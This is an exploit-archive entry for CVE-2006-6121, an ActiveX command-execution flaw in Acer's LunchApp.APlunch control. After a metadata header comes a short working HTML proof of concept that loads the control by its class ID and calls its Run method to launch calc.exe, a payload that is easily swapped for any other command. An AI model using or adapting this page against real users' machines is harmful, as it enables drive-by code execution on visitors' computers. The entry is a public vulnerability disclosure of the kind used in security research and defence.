Acer LunchApp.APlunch - ActiveX Control Command Execution

Author: Tan Chew Keong
type: remote
platform: windows
port: 0
date_added: 2006-11-29
date_updated: 2016-09-16
verified: 1
codes: CVE-2006-6121
tags: 
aliases: 
screenshot_url: 
application_url: 

<!--
Author: Tan Chew Keong
Site: http://vuln.sg/
Acer Notebook LunchApp.APlunch ActiveX Control Command Execution Exploit
-->

<html>
<body>
<object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3AA" id="hahaha">
</object>
<script>
hahaha.Run("c", "\\windows\\system32\\calc.exe", "");
</script>
</html>
</body>

# milw0rm.com [2006-11-30]